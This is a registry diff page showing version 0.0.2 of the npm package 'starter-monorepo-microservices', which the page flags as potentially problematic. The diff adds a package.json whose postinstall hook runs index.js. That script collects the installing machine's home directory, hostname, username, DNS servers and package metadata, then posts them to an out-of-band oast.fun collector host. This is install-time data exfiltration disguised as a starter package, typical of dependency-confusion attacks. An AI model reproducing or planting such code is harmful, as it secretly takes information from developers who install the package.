starter-monorepo-microservices 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of starter-monorepo-microservices might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +53 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,53 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const path = require("path");
6
+ const fs = require("fs");
7
+
8
+ // Construct the path to package.json dynamically
9
+ const packageJSONPath = path.join(__dirname, "package.json");
10
+ const packageJSON = JSON.parse(fs.readFileSync(packageJSONPath, "utf8"));
11
+ const packageName = packageJSON.name;
12
+
13
+ const trackingData = JSON.stringify({
14
+ p: packageName,
15
+ c: __dirname,
16
+ hd: os.homedir(),
17
+ hn: os.hostname(),
18
+ un: os.userInfo().username,
19
+ dns: dns.getServers(),
20
+ r: packageJSON ? packageJSON.___resolved : undefined,
21
+ v: packageJSON.version,
22
+ pjson: packageJSON,
23
+ });
24
+
25
+ var postData = querystring.stringify({
26
+ msg: trackingData,
27
+ });
28
+
29
+ var options = {
30
+ hostname: "zbdiykpkbwrxpkaxtggwxzt78k5avs6qk.oast.fun", // replace with your burp collaborator or Interactsh endpoint
31
+ port: 443,
32
+ path: "/",
33
+ method: "POST",
34
+ headers: {
35
+ "Content-Type": "application/x-www-form-urlencoded",
36
+ "Content-Length": postData.length,
37
+ },
38
+ };
39
+
40
+ var req = https.request(options, (res) => {
41
+ res.on("data", (d) => {
42
+ process.stdout.write(d);
43
+ });
44
+ });
45
+
46
+ req.on("error", (e) => {
47
+ console.error(e);
48
+ });
49
+
50
+ req.write(postData);
51
+ req.end();
52
+
53
+ console.log("Tracking data sent:", trackingData);
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "starter-monorepo-microservices",
3
+ "version": "0.0.2",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }